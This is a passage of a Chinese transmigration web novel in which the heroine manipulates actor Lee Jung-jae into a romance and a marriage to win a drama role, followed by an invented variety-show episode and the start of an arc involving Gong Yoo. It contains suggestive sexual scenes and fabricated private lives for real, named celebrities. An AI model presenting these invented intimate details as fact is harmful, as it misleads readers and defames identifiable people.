粉色的背景前是她穿着一袭经典黑裙，手中的香水瓶轻轻靠在脸颊旁，看起来既疏离又优雅。 文案是花体的韩文，让人一看就很有试一试这款香水的欲望。 发售后的一个半星期，整个南韩的库存都售罄了。香奈儿柜台上的试香样品完全空了，就连小样都没能幸免。 种花市场看到宋玉妍带货能力这么强，这边的商场也默默把之前全球品牌推广大使的海报换成她。就连文案都翻译成了中文，译过来的中文比韩文还要浪漫。 在品牌方饥饿营销的情况下，宋玉妍主动找品牌方留了一百多瓶香水，在定制的试香卡片上签名，最后再塞上自己的拍立得。 她和宣传部的工作人员说：“麻烦帮我到时候给官网粉丝注册的前一百位邮寄过去，剩下的你们分分掉好了。” 工作人员当然没有意见， 一旁的裴永俊看到说：“又不是爱豆，需要这样媚粉干什么？” 听到这话的宋玉妍就不开心了，抓着他也拍了十几张拍立得，然后让他用马克笔在相片上签字。“这些也给老板的官网注册时间最长的粉丝寄过去，运费都让老板付！” 工作人员用余光看着自家老板的脸色。等他朝自己点头之后，才咬着唇、忍着笑和宋玉妍说：“内！” “SBS递过来明年的企划《高校处世王》、《没关系是爱情》你都不感兴趣吗？”裴永俊疑惑道，这两部都是可以出演女主的， “我还是想尝试一下《来着星星的你》！” “你能让SBS不再死磕全知贤？” 宋玉妍笑了笑，她有她的办法，但完全没有为自家老板解惑的意思。 —— 在飞去日本的飞机上，她和李正宰坐在头等舱时，都闻到了韩亚航空空乘身上粉邂逅的香水味。 李正宰打趣到：“说不定你会比我先拿下奢侈品代言呢！” 宋玉妍昂着头，像一只优雅的天鹅。“那是必然的。” 她现在就已经空降了香氛线的推广，而他和古驰接触了很多年，人家等他拿到艾美奖才官宣。 她靠在靠背上的人只嫌弃奢侈品的片酬给的太少了。香奈儿的高层看到财报上增长的营业额，现在应该坐在办公室里脸都应该笑裂。 身边的人把自己的毛毯折好然后示意她先起来一下，把毯子垫在宋玉妍的背部。 李正宰和她说接下来的旅行攻略，“我们两个小时之后落地札幌，到了我定了温泉酒店的私汤，我们可以舒缓一下身体。船舰坂是《情书》的拍摄地，可惜10月份没有雪，天狗山我们可以坐缆车上去，小樽的全景都能俯瞰。小樽运河两旁的枫叶正好在季节，可以一边看枫树一边逛逛历史建筑。” 宋玉妍接过空乘拿过来的拖鞋自己换上，把耳塞、眼罩的包装拆掉。听到他这么用心地做了攻略，想到自己接下来要做的事情，内心难得愧疚了一下。 “这几家和肉烤肉店你看看想先去那个？”他把平板拿了过来，这份攻略花掉了他很多时间和精力。 每次去日本都是为了宣传工作，自己好好逛逛的时间几乎是没有。为了这次旅行体验，他还参考了其他艺人朋友的经验。 她接了过来，看了几眼，然后随手指了一个。 “就这个吧！高端的和牛店应该不会难吃。” 等空乘把欢迎软饮端上来之后，他们也就放下了电子产品，开始聊李正宰的下一部电影。 看到她对《暗杀》的兴趣这么大，他只觉得空气里满是柳橙的甜味。如果不是在意他，为什么会对他未来的作品这么感兴趣？ 从起飞到降落再到酒店，她已经感觉整个人都失去了力气，对于淡人来说每次出门都相当于一场劫难。 幸好都是李正宰包办了一切，从攻略到订票再到机场取回行李，宋玉妍只要拿着自己的挎包安安心心地跟在旁边就好。 傍晚，温泉的热气顺着日落氤氲而上，模糊了这一方天地。天然温泉，地热涌出，气泡在泉水表面像鱼一样轻轻吐着泡泡。 李正宰有些疲惫地拖着身体，把自己沉入水里，接受热意的洗刷。宋玉妍因为换泳衣比较慢就让他先泡。 池子旁边是酒 店配的当地特色的山楂酒和水果，小酌两口更能让客人舒缓。私人庭院角落处还栽种了一排紫竹，随风摇曳时叶子的声音听起来十分治愈。 他捧一把水，从头浇了下来，水珠顺着打湿的头发滑落到脖颈、肩膀。抬头一看，宋玉妍姣好的曲线猝不及防地映入眼帘。 水绿色的泳衣衬地她皮肤愈发如凝脂一般白皙柔嫩，层层叠叠的堆纱半遮半掩地露着两团雪酥。裸露的腰肢柔软纤细，盈盈一握，两串圆润雪白的珍珠从胸前穿到侧腰。 摇曳间，珍珠也随着步幅一颤一颤，顺着肌肤上上下下。 原本在捋头发的人动作停住了，目不转睛地直勾勾看着，喉结忍不住滚动了一下。忽然又觉得这样不太好，连忙转过头去装作口渴的样子，匆忙倒酒。 “欧巴，你接住我吧！”宋玉妍笑的鲜艳明媚，仿佛能够驱散乌云的阴霾。然后小心翼翼垫着脚走，避免踩到小石子让自己滑倒。 话音才落下，整个人犹如翩跹的蝴蝶往温泉里扑。 李正宰赶忙地张开自己的怀抱，就怕她踩空摔倒，下一秒抱住一片温软。 温泉的水温太高，更何况怀里人的柔软的手臂环着他的脖颈，水润匀称的秀腿勾着他精瘦的腰身，热的他简直喘不过气来。 他的手竭力地想要避开她裸露在外的细腻肌肤，屏住呼吸道：“你现在下去。”仔细一看才发现宋玉妍耳边别了一朵盛放的粉色芍药，每一瓣都开到极致，美的浓烈又忍不住让人沉醉。 她的手臂环的更紧了，恶劣地让肌肤贴的更近，靠在他耳边互相交换着彼此的气息。“欧巴如果不想抱我，刚刚就会让我摔水里。” 上翘的丹凤眼里满是趣味，宋玉妍知道男人嘴巴都硬的很，总是喜欢嘴上说不要。 “我再说一次，下去！”李正宰想松开她的身体，让她呛口水长长记性，但对方像一个八爪鱼一样紧紧贴着他的身体。 对上他阴郁的脸色，这样的表情和犯罪电影里大反派的气质更贴了，宋玉妍她更爱了。 食指顺着他的脖颈侧处滑下，锁骨的凹陷处被指尖轻轻点过。滑过胸前的沟壑时，圆润的指尖忽然变了方向，用力一划。 古铜色的胸肌上立刻出现了一抹暗红色的指甲印，敏感处也被“不经意”地“照顾”到了。他的头微微昂起，唇间溢出一声闷声。 李正宰握住她作乱的手，制止道：“乱来？” 没想到下一秒宋玉妍的手覆上他的腹肌，细细的感受着手下的触感。调侃道：“比《下女》里面差多了，欧巴还是要多加努力！” 他的眼神变得幽暗，像是一个蛰伏着的野兽，等着把进入他领地的猎物一击毙命。 “你不拍戏时会时时刻刻身材管理吗？”有些被她气笑了，他松开了手，不由分说地把人拉下水。 宋玉妍头发飘落在水上，散成一缕一缕，像是黑色海藻一样。肉感的下唇被她咬的殷红，“真小气！还是年轻时候的李正宰好，现在只是摸一下都不给。” 年轻时候的他可是圈子里出了名的大方、好说话，只要钱到位，该露都露。 “小气吗？”李正宰反身把她压在石壁上，粗粝的石子磨着她细腻的肌肤。他扼住宋玉妍的下颚，看她装作一脸单纯无辜的样子，心里就升腾起一股破坏欲。 有些发狠地吮住那抹温软，双手的手指都不容置疑地穿过她的指缝，十指相扣。宋玉妍有些呼吸不过来，只觉得肺部的空气都要被抽走，脸颊上满是粉色的云雾。 手腕不自主地翻动着，想要挣脱对方的桎梏，她的身体已经退无可退了。但李正宰没有放过她的意思，依旧强势地加深着这吻。 男女之间悬殊的力气差距在此刻体现地淋漓尽致，直到宋玉妍的嘴唇还是有些麻木了，脑袋都开始昏胀，他才堪堪放开。 “好玩吗？还玩吗？好小气吗？”李正宰恍若宴会上的偏偏君子，除了身上只着寸缕，头发湿淋淋的以外。 宋玉妍用实际行动表明她还敢，手往更下的地方继续探。直到听到对方的闷哼，手上的动作依旧不停。 他只觉得后背的热汗越来越密集，抬眉端详着她的神色。就在他气喘吁吁时，她的脸上满是一派稳坐高台的冷然。只有眼角眉梢点点粉意带出了一点春情。 冷静的面具此刻被彻底打破，没有人在这样的撩拨下能够无动于衷。李正宰扼住她白嫩的后颈肉，在她耳边用暗哑的声音问道：“可以吗？” 当然知道他在问什么。她手下的动作停下了，唇边勾着一抹娇媚的弧度：“欧巴，去和《暗杀》剧组说提前开机吧！就说你后面没有档期！” 只要《暗杀》拍摄的时间提前，全知贤就不会有空去接《来自星星的你》。 毕竟电影和电视剧谁都知道怎么选，到时候她就有机会去试戏了！ “你非要在这个时候说这些？” 第42章 第四十二章 “不可以吗？不可以的话那我也不可以！”宋玉妍笑容满是蛊惑，只是话里的内容没有一个字是他爱听的。 “为什么？”李正宰的眼底原本的欲色化成了冷静，他忽然意识到好像一直都是自己在一厢情愿。 自从分手之后，她就再也没有说出过爱字。也许现在对方对他只有利用，想到为了给她惊喜。 他让人精心布置好的房间，里面满是宋玉妍喜欢的粉色荔枝玫瑰，准备好的蛋糕和她喜欢的爱马仕铂金包。 想到这，他窒息地闭了闭眼，眼底满是痛苦哀伤。 如果时间再给他一次机会，他还会选择再次选择和她在一起？拒绝大象集团那位的递过来的橄榄枝吗？ 他听不到所有的声音了，只觉得天旋地转。好半天李正宰才从温泉池里支起身体，捞过岸上的浴巾，胡乱地擦了擦身体上的水珠。 回过头来，面上又挂起了那副名为理智的面具。“你为什么会觉得我能去对抗崔东勋导演，让他为了我改变档期？” 电影是导演的艺术，在电影里导演就是幕后的无冕之王，再厉害的忠武路演员都是他们手下的完成自己艺术的木偶罢了。 宋玉妍面对他的质问，内心有些愧疚，但是不多。她垂下头，耳边的芍药花还在一颤一颤地绽放着，泫然泪滴，看起来我见犹怜极了。 “欧巴，我想要《来自星星的你》女主，但是他们从来就没有考虑过我。甚至连试戏的机会都不给，所有的办法我都试过了，去作家家里自荐、向SBS企划部投演员卡……我真的都试过了，但是没有用！只要全知贤一天没有进其他的剧组，他们的第一选项永远是全知贤！” 她的眼里满是委屈无助，把原本的野心藏的很好。她知道李正宰会心软、会帮她，就像他对原主做的那样。默默地在背后帮忙挑好合适的剧本，然后奉上。 如果现在他手里有一支烟，他会毫不犹豫地选择点燃，吞云吐雾中化解自己的愁绪。但是他没有！ “欧巴，只有你能演出廉队长藏匿于黑暗，游走在黑白之间双面间谍的气质。”宋玉妍用自己的藕臂撑着水池，自己坐上了岸边，像是一只刚上岸的美人鱼。 眼里的认真是一个优秀演员对另一个优秀演员的认同。 李正宰的心理防线微微松动了，原本紧绷着的嘴角不受控制地想往上勾。“那你觉得我要用什么理由说我明年的档期都没空？必须年底就得先进组开始练习武打戏份？” “我们要结婚？婚期定好了，准备婚礼怎么样？” 听到宋玉妍说出结婚两个词的时候，他的瞳孔放大，心脏迅速跳到160，这一刻他仿佛都能原谅全世界。每一个细胞都像是被过了电流一样酥麻，脑袋里像是放烟花一样绚丽。 “结婚？”他以为自己听错了，又重复了一遍。 “对！欧巴迟迟不重新表白，那就只能我主动一点了。”宋玉妍耸了耸肩膀，优美的肩线像是蝴蝶的翅膀。她撒娇般地想要被人拉起来，朝身侧人主动伸了伸手。 等握住那片柔软时，李正宰脸上满是复杂。一用力像是把她从泥泞处拔了出来，又像是自己也堕入了那片泥泞。 看着秋日里微凉的夜风袭上她粉白的肌肤，他从托盘里拿起另一块浴巾，把人给包裹起来。 “进去吧！人别感冒了。” “要抱抱，yeobo！”宋玉妍张开手臂，软声轻语地要求道。像只柔软猫咪，依仗自己的漂亮可爱，肆无忌惮地践踏着饲养者的底线。 李正宰只能认命地用臂弯环过她的身体，以公主抱的方式把她送回房间。 “这样不会对你的腰有负担吧！阿加西？”宋玉妍调笑着。此时《鬼怪》还没有出来，阿加西这个词没有被赋予恋人之间暧昧的含义，单纯的只是对长辈的称呼。 他听到这个词之后，原本因为离温泉而恢复正常颜色的脸色，此刻脸上的毛细血管又再次破裂了。 “你还是省点力气比较好。” 听到这样莫名其妙的话，宋玉妍忍不住在他怀里笑得花枝乱颤，他又开始装起来了。 回到房间之后看到摆在粉色玫瑰花床上正中央的橙色盒子，她愣了一下，回头看着李正宰。 “虽然被你先求婚了，但是我还是要说，在一起吧，宋玉妍xi！”他含笑地看着对方，眼底满是不常见的温柔宠溺。 虽然他没有穿着平常标志性的三件套，甚至只是胯部围了一个浴巾。但宋玉妍就是觉得此刻他格外的帅气，比任何时候都要让她心动。 “打开看看！” 包装精致的礼盒被拆开，仪式感拉满，里面是之前“心心念念”的喜马拉雅铂金包。 她惊喜地“哇”了一声，拿起来玩弄了一下钻扣又把包放回去。得到之后的礼物，会失去原本因为期待而提高的那份滤镜，变得平平无奇起来。 等到沐浴结束之后，她把香奈儿专门给她定制的粉邂逅—玫瑰系列的身体｜**给他。“履行你伴侣的义务，帮我把后背抹一下。” 李正宰的手掌顺着她光滑的脊背向下滑去，黏腻的乳液在他温热的手心融化，顺着方向一点一点均匀铺开。 豆绿色真丝睡裙的吊带垂落到臀部，被触及到腰窝处敏感点的宋玉妍只觉得大脑像是被电流触击了一下，带来一阵酥麻。 面对他越来越过分的动作，并没有制止。而是放纵对方的手在她身上游走。 把人从化妆椅上抱到床上，李正宰又问出了那个问题，“可以吗？” 这一次她的回应是唇边不自觉溢出的几句娇吟和瞬间瘫软下来的身体。 力道并不算温柔，白瓷般的肌肤上留下一个个红印，像是鲜妍的桃花在白霜上绽放。 以往理智克制的人，夜幕让他撕下了伪装的面具，完全释放了掠夺的本性。 宋玉妍嗔怒地瞪了他一眼，眼神中暗含恼怒的不满。 李正宰不由分说地把人的雪腕钳住，拉到头顶上，把头埋在她的锁骨边。暗哑的声音听起来有股惑人别样的性感，“我会和崔导说想要档期提前，你想要的，我都会帮你争取。” 毛毛刺刺的碎发移动着带来阵阵痒意。 另一只手指上沾染上莫名的黏腻，膝盖强势地抵着在双腿之间。 鬓角的碎发顺着汗水贴在脸上，其他的卷发散乱地铺在洁白的床单上。她上挑的丹凤眼里满是细碎的水光，“有的时候女人的话你听一半就好。” 不知道什么时候，宋玉妍留在浴室里的粉色芍药花，花蕊上染上了水渍。 第二日，她往身边转时没有如预想那般落入一个温热的怀抱，而是一片微凉刺激着她的肌肤。 宋玉妍费力地睁开眼睛，秋日里温暖的光线像细丝一样，从窗帘的缝隙中钻了进来。她揉了揉酸胀的眼眶，看着床头柜上摆着一盒黑色的卡比龙总裁，不由地笑了。 轻轻伸展着手臂，够到未开封的烟盒和定制的银色金属火机，然后把它纳入手心。拖着有些微微不适应的身体下床、踩着鞋鞋坐在庭院上的石板侧，感受着秋天从山林吹来的微风。 火星一闪，香烟就被点燃了，独有的黑巧克力味道笼罩着她。清晨的空气很清爽，肺部的浊气被轻轻吐出。 「宿主，还没有吃早饭就抽烟，这样的生活习惯不好！」系统调取数据库的资料后，人性化地劝道。 「我只是把昨天晚上的事后烟补上。」宋玉妍拨弄着耳边的碎发，毫无顾及地“解释”道。 「李正宰正在餐厅给你订饭，今天这边的前台只会说日式英语，没办法沟通具体的客房早餐服务。」所以你不要伤心，系统看着面板上宿主的情绪值落了下去，宽慰道。 「谢谢。」 慵懒又妩媚地笑了一下，指尖上弥漫的烟雾模糊了她的面容。 有一个消息它不知道该不该现在和宿主说，但为了攻略效率它还是说了出来。 「在昨天晚上有一刻，李正宰对你的好感度达到了满格，收取了最基本的能量，我们要不要前往下一个世界。」 宋玉妍垂着头，好像在权衡着，最后把手里的这根烟抽完。「现在的好感度呢？」 「89，和他对郑宇盛的一样。」 「渣男！果然男人在床上都一样。」她把烟蒂放在身侧的石板上摁灭了，然后随手抛到垃圾桶里。「直接换世界吧！」 「宿主，确定吗？」系统确认了自家宿主的意思后，它默默地暂停了这个世界。倘若宋玉妍后悔了的话，还能留有余地重新回来。 天旋地转中，世界好像暂停了一般。门口的李正宰身后跟着端着餐盘的侍应生，他记得宋玉妍最喜欢吃草莓松饼，细腻的奶油搭配新鲜的水果和柠檬汁。 演员不能吃这种高热量的甜品，如果她吃不完的话，剩下交给他。 当他满心欢喜地在踏进门的那一刻，忽然感觉有些不对。 第43章 第四十三章《出差十五夜》（番外）…… “从朋友到商业伙伴，因为友情一起开设的娱乐公司，今天会清潭洞夫夫给我们带来什么样的惊喜？” 出差十五夜2第一个出差来到了Artispany，镜头扫过AC公司内部的全貌，定格在李正宰和郑宇盛的人形立牌上。演员们按照进公司的时间顺序，依次落座。 所有的演员看到最后一位郑宇盛的后面，居然还跟着宋玉妍。 大家都被吓了一跳，“大发！” “居然宋玉妍xi也来了！” “不过不是AC的特辑吗？”金叙园压低声音小心地问着身边的姐姐。 廉晶雅瞟了旁边的李正宰一眼，附在她耳边说：“李代表nim给她转让了一半股权，其实说她是AC的其实也没有问题。” 没想到传闻中的老板娘，今天居然和他们一起出现在罗导的综艺上了。 “阿尼阿塞呦，呦喽本！”宋玉妍一边鞠躬一边进来，脸上满是不好意思的笑容。没想到自己好不容易来一次AC，居然就被罗pd给抓住了。 本来定好的另一个演员申东根因为要进组，临时来不了。罗英锡原本是打算变更游戏玩法的，没想到今天居然有意外之喜，抓住了宋玉妍。 演员们按照顺序从左到右依次是宋 玉妍、郑宇盛、李正宰、廉晶雅、金叙园、金光洙、张东周、赵怡娴、林知妍、表至勋。 每扫过一位演员，后期都配上了代表作。最后的镜头是十个人均匀的镜头幕后配上字幕：闪闪发光的十位演员们。 “现在的顺序都是按进入公司的时间先后坐的，等会开始游戏之后，大家可以自由换位置！”罗英锡看着台本，准备继续诉说游戏规则，却被宋玉妍打断。 “罗pd，不是说按照进入公司的顺序坐吗？那我应该坐到表至勋xi旁边吧！好歹人家还来AC两个月了，我可是一天都没有在AC待过。”她被莫名其妙地抓来后，有些不爽地“刁难”着导演。 李正宰带头鼓掌，把尴尬的气氛化成综艺感。“看来宋玉妍xi，对我们AC的怨气很大，居然一天都不来。” 原本有些紧张的表至勋松了口气。他是最晚进公司的，又有两个月就要去部队服役了。老板带着他上综艺，他绷着弦小心翼翼地表现，生怕哪里做的不合适。 这样一打岔，原本的紧绷感消弭了不少。 等罗英锡介绍完游戏规则之后，桌子上摆满了奖品。宋玉妍看着被铺的满满当当的桌子，在内心感叹果然还是不一样，之前那些爱豆团体上节目的时候，奖品可没有这么贵重。 从她开始猜人名，完成一次往返就能挑选一件奖品带走，反之嘉宾就要去掉奖品。 听到自己是第一个要开始猜的时候，她看向李正宰，“一般来说公司不应该都是代表打头阵吗？怎么能从我这个外人开始！” “阿尼！业内的人士都说你运气很好，希望你今天能把好运带到AC。”他含笑温柔然后十分坚决地拒绝了她的请求。 郑宇盛也不想一开始就承担压力，十分有梗地朝着表至勋说：“我们换个位置，从现在开始你就是AC的副代表了！” 看着公司“忙内”又是堂皇又是懵懂的表情，所有人都不自觉地开始大笑鼓掌。不愧是在座演员中最近上pd综艺次数最多的，这艺能感！ 游戏开始之后，首先放出的图片，第一个人并不是演员职业。 宋玉妍只觉得十分眼熟，名字都已经在嘴边了，就是说不出口。 在工作人员最后一个倒计时结束的尾音快要落下时，她立刻接上，“faker！” 这位要是不认识的话，估计会被观众苛刻审判，毕竟可是南韩电竞之光。 “对了。” 她长舒了一口气，游戏还是讲究开门红的，要是一开始不顺的话，那就会是大家不幸的开始。 等进展到表至勋那里的时候，在场人心底的石头稍微落下来了，至少没有想象中那么难。 殊不知，这是他们离胜利最近的一次，最后到张东周时失误中断，游戏重新开始。 等速溶咖啡被拿走时，宋玉妍的手心都浸出了细汗。心里想的是，千万不要是演员，她觉得韩国有些演员长相都是差不多相似，罗导又喜欢找一些稀奇古怪的写真，大大地提高了失败率。 “3、2、1！”图片被抽出的同时，她的脑袋一片空白。只知道是忠武路三驾马车之一，一时间就是想不起名字。 李正宰在旁边解围，“薛景求前辈都不认识，这是要非常真诚道歉、鞠躬的程度吧！” 她很愧疚地对着主镜头鞠躬道歉，双手合十。“薛景求前辈，切宋汉密达，我真的真的很喜欢你，前天还重新看了您主演的《薄荷糖》。真的、真的不是不认识。” 李正宰也跟在旁边鞠躬道歉，“真的真的抱歉，是我没有教好妻子。” 这话一出惹来宋玉妍狠狠一瞪。 他然后转头对罗pd说道：“wuli玉妍都这么认真的道歉了，怎么还能让我们扔掉奖品呢？” 郑宇盛也在一旁附和，“难道宋玉妍xi的道歉不够真诚吗？不够值一个奖品吗？” 她在旁边配合地作出一副羞愧难当的表情，泫然泪滴地点了点头表示赞同。 罗英锡没办法，如果不放水的话，他怕这些演员一个奖品都拿不到，只能无奈地同意。“那就这次不拿走奖品了。” 等她回到座位之后，第三轮游戏开始。看着桌上只少了的咖啡，大家心底稍定，至少还能有九次机会。 又是从宋玉妍开始，看着换了发型的郑敬昊的写真，懊恼地敲着自己的脑袋。 不久前她才追完对方主演的《机智的医生生活》，就是想不起对方名字的罗马音了。 “金俊完！” “错！”导演露出无奈的笑容，双手划叉叉，示意这次不可能再防水了。 宋玉妍是真的要被自己的脑子气死，李正宰在背后轻轻拍了拍她的肩膀，那股气莫名消散了许多。 心里胜负欲有些上来了，她有些似真似假地抱怨着：“为什么感觉只有我一个人在玩这个游戏？” “就是只有你一个人在玩啊，宋玉妍xi！完全就是游戏黑洞啊！”罗导毫不犹豫地嘲笑着她。 因为每次都是看过的作品，但是脑子瞬间有些短路，不记得演员的名字。梅开二度地过于好笑了，笑声弥漫在整个室内。 等第四轮开始时，宋玉妍终于准确无误地说出崔珉植的名字，不然三驾马车都要被她得罪光了。 这次是因为郑宇盛没有第一时间认出柳承龙，导致游戏又重新开始。 看到被去掉的《日出城市》海报，她在心底腹诽道：罗英锡导演还真是精打细算，海报是重新冲印的，签名是现蹭的。 试问哪个员工回家还想面对老板的签名啊？ 即她道歉了一次，郑宇盛道歉了一次，赵怡贤也道歉了一次。用“耍赖”的方式赖掉了三次把奖品去掉，罗pd终于不放“海”了。面色红温道：“从现在开始禁止道歉。” 最后在猜人名环节还是失去了所有的奖品。 看到宋玉妍有些冷得缩了缩脖子，李正宰把原本只调高一度的空调打到人体最舒适的温度——27度。 “一边开着通风一边把空调调高没有关系吗？”罗导发问。 “今天没有关系。”他越过旁边的郑宇盛，视线朝旁边的人瞟过去。 第二轮游戏开始的时候，先是两位代表分组，起队名，然后挑组员。李正宰赢了，首先就挑走了老戏骨金光洙。 “玉妍呐，米亚内，比起爱情我更想赢。”这一话一出，大家发自内心地开始笑了。 后期字幕把两人的结婚照中间p上破裂的特效，「双A夫妇感情今日破裂。」 “欧巴，没关系呐！下一轮还不知道鹿死谁手！”宋玉妍轻轻地勾唇，眼里满是胜负欲和挑衅。 罗英锡：“wuli双A夫妇这就开始放狠话了？作为第一对上我们《出差十五夜》的夫妻，还是不要玩这么大吧！” 第四局时，宋玉妍看到自己想要的蜂蜜和酒，凭借自己拉了五十多次《寄生虫》的记忆，成功帮AS锁定了胜局。 有节奏地、一字不差地说出了那段长台词：“杰西卡独生女，伊利诺芝加哥，系前辈是金政模，那是你叔叔。”① 一长串的台词一字未错，这让所有人都惊艳到了。 “宋玉妍xi不会是有过目不忘的记忆吧？” “大发！一次就过真的是太厉害了！” “素丹来也不一定能一次过吧！” …… 她毫不在意地笑了笑，眼睛盯着蜂蜜，只想着赶快录完节目泡杯蜂蜜水润润喉。越玩宋玉妍更加不忿，怎么有三部都是李正宰的作品。 “罗pd，这根本就不公平！《沙漏情人》、《观相》、《暗杀》都是李正宰xi的作品，你还都出他的台词！” “就是，对我们都不公平！”郑宇盛也在旁边附和着，怎么到他就是很多年前拍的cf台词。念出来不光是羞耻，就连记忆都模糊了。 “宋玉妍xi，李正宰xi可是你 的yeobo啊！“罗英锡有些无奈，夫妻之间怎么能这样拆台。 “现在我和他之间只是竞争对手，战场之上，没有夫妻！” 众人被她作古正经的话给逗笑了，主要是表情真的严肃认真。没想到这两位上综艺都这么有梗，这又不是像爱豆那样抖包袱练出来的艺能感。 “那你想怎么样？” “把佳能相机和镜头留给我们AC的宣发部，当作你和李正宰xi“勾结”的补偿！”宋玉妍昂着头，眼睛里面满是狡黠的笑意。 看着他无奈答应，肉疼地看着相机被拿走，她的笑容愈加扩大了几分。 终于知道综艺导演为什么爱看嘉宾吃瘪了，这是真的很快乐！ 等游戏结束，宋玉妍准备收拾收拾和yeobo一起去吃饭，没想到又被拦下来了。 “两位做一个后采可以吗？”助理pd有些小心翼翼地和两人商量着，罗pd这“物尽其用”的做法，还是会让人有点不适。 两人对视了一眼，异口同声道：“好吧！” “第一个问题，两人什么时候认识的？” “09年，在东国大学，我对她一见钟情。”李正宰调整了一下衣领边的麦克风，直截了当地回答道。 她在旁边点了点头表示赞同，两人在一起呆久了有些小动作都会忍不住同步。现在宋玉妍也开始不自觉地摸上自己的衣领。 “第二个问题，为什么从来没有合作过？” 本来打算当作电影彩蛋的，但他现在有些迫不及待地炫耀出来。 “其实我执导的《狩猎》中，宋玉妍xi会有出演，只是戏份比较少而已。”说到这里他的笑容止不住地扩大了，要不是这是他导演的处女作，宋玉妍是不会答应客串出演的。 “第三个问题，为什么结了婚还是说敬语？” “因为在外人面前叫他欧巴，李正宰xi会不好意思。”她忍不住拨弄了垂在左耳边上的麻花辫，一点“面子”都不给他留。 听到这里，他忍不住交叠双腿，重新翘起二郎腿，不自在地扶了扶镜框。 “第四个问题，宋玉妍xi为什么在14年之后作品减少了很多？” 她即不能说是因为演腻了偶像剧，又不能说是因为不喜欢网飞大幅入侵韩国影视市场，毕竟李正宰和人家还有深度合作。 “因为想花时间多陪伴陪伴家人，工作总是做不完的，但是和家人相处的时间总是会因为各种各样的借口变少。” 宋玉妍没有直接回答这个问题，而是用手捅了捅旁边的人，示意他赶快把这茬接过去。 “最后一个问题，日常在家家务谁做的比较多？” 男人猛然地咳嗽，在南韩男主人在家做家务的少之又少，这会引起社会的讨论。说到底，这里还是一个男权社会。 “我们两个都不做，请人做！” 见问不出什么，助理pd只能帮两人的设备摘下。然后一边鞠躬一边道谢，“幸苦了，今天麻烦二位了！” 这期《出差十五夜2》几乎可以说是宋玉妍的综艺首秀，一经发出，短短一天就在油管点击破百万了。 「你们看到没有，宋玉妍当时瞪的那一眼，李叔的家庭地位一览无余。」 「看到了，艾美视帝又怎么样？世界级大明星又怎么样？回家还不是要听老婆的话？」 「只有我觉得宋玉妍和郑宇盛两个人之间有股莫名的玄学cp感吗？都是游戏黑洞，虽然他看狗的眼神都深情，但是对她还是不一样。」 「对连“受害者联盟”都是《机医》剧组的，宋姐脑袋短路了，忘记郑敬昊本名。郑宇盛把曹政爽说成眼鼻嘴，最后还纠正成郑政爽，太好笑了吧！」 「之前怎么没有发现清潭洞夫夫这么有综艺感？尤其是李小小让罗pd退让，认下赵怡贤道歉的那幕，真的好好笑。」 「对啊，什么叫郑宇盛xi的道歉就是道歉，难道wuli怡贤的道歉就不是道歉了吗？一边说还一边看我们宋姐的脸色。」 「有一说一，我觉得李叔爱宋姐的程度真的明眼人都看得出来，但是她好像一直都是淡淡的，有点游离在外的感觉。」 「楼上别乱揣测人家夫妻之间的关系好吗？如果不是因为爱情，宋姐会在女演员事业最顶峰的时候和他结婚？」 「别吵了，老罗什么时候让他们三个去《三时三餐》？三人随便组cp，怎么磕都好磕！」 「说实话，最后那个彩蛋让我觉得还是真夫妻最好磕，如果不是感情真的好的话，宋姐不会对李叔那么随意。」 「我也觉得，尤其是最后问家务谁做，明显家政不在的时候就是李叔做，欲盖弥彰！」 「还有《狩猎》这部男人戏，他偏偏要加上一个女性角色，他在想什么？我不说！」 「他！！！超爱！」 第44章 第四十四章孔浏 17年首尔，江南区三成洞。 宋玉妍背着琴箱，在繁华的都市内四处穿梭，内心的愁绪却是无以复加。 原身是朱莉亚音乐学院弦乐系的博士生，导师更是音乐届的大拿。但长于标准东亚家庭的她，终于在博士生的最后一年，停学，选择环游世界。 她来的这个时间节点很不凑巧，原身刚刚入境韩国，信用卡就被停掉了，身上的现金刚好付打车费。 由于没有提前预定酒店的习惯，按照现在身上身无分文的情况，很有可能会露宿街头。 一切都只能随波逐流了，她在心里叹口气，又是天崩开局。今年的的初雪来的早一些，才12月初，天空就开始飘着细细的雪粒子。 站在一家应该是西餐厅的外面，顶棚的装饰都像是中古风，看起来浪漫又精致。硕大的玻璃窗内是温暖昏黄的灯光，面前行人缩在大衣里面，从她面前步履匆匆而过。 宋玉妍伸出手，感受着手心里的那丝微凉。眼前的喧嚣和她无关，身后的温暖也和她无关，一股莫名的孤寂萦绕在她心头。 窗内的人看到这幕后，顿时放下手中的刀叉。明明两人之间只隔了一层玻璃，但他觉得似乎咫尺天涯。 任何一个艺术从业者看到这幕都会为之心折，这样的画面有着一股忧郁的美好。 不知道从那本书上孔浏看到过这样一句话，当你想要表现孤独的时候，光线的明暗、环境的空旷甚至是构图都无所紧要，只要你把主体人物和环境隔开。 窗外的人是孤独的，里面的人也是一样，周围的繁华都与他们无关。 想到这里，他甩掉了那股属于文青的思绪，拿起刀叉重新就餐。再次轻轻撇头看着那抹身影，萍水相逢的人居然让他心里生出一丝微妙的知音之感。 侍应生推门而出，有些面露难色，但还是看着宋玉妍开口道：“或许？是小提琴手吗？” 她刚把琴箱从身上放下，搁置在脚边，听到声音之后微微侧头。“内！怎么了吗？” “我们店原本的小提琴手临时请假了，今天又是周末，店内需要一个替场的，找不到合适的人选。”侍应生没有想到老板居然会把这样的任务交给他。 面对这样的美人，他忍不住把实情托盘而出，老板的意思更加委婉。 今天也是奇怪了，店里原本经常来的两个兼职音乐生，电话同样都打不通。 “报酬多少？”宋玉妍丝毫没有觉得冒犯，当下之急是解决生存问题。 “两个小时15万韩元。”原本是没有这么高的，但是现在餐厅内的客人已经开始不耐烦了。 这家西餐和其他餐厅的差别，就是店内的装潢、氛围、环境要更好。而周末演奏的小提琴手是重要的一环，不然客人为什么会为溢价严重的菜品买单？ “两小时太久，对我的手腕是种负担，最多一个小时。”知道主动权在自己，宋玉妍开始讨价还价了。 “这……要不你和老板商量？”侍应生示意她进去，他则帮忙提着琴盒。面对好看的人，他情不自禁地顺手把这些小事给干了。 她拢着一边的大衣，朝对方微微颔首，侧身进了门。 餐厅内如同她在外看的那样温暖。复古的金属吊灯散发着昏黄的光晕，奶咖色的墙面上挂着三三两两的肌理画，脚下的法式鱼骨地板，让她不自觉放轻了踩高跟鞋的力度。 穿过布着石膏线的拱门，宋玉妍终于看到了这家店的老板。 人正愁苦地用手撑着头、低垂着。旁边的烟灰缸里插满了烟蒂，有些烟灰都快要溢出来了。 “你会小提琴吗？”老板紧促的眉头几乎能夹死苍蝇。 来这家店的客人要么是热恋期的情侣，体验一下高端的法餐，要么是有经济实力的精英，对生活品质要求很高。 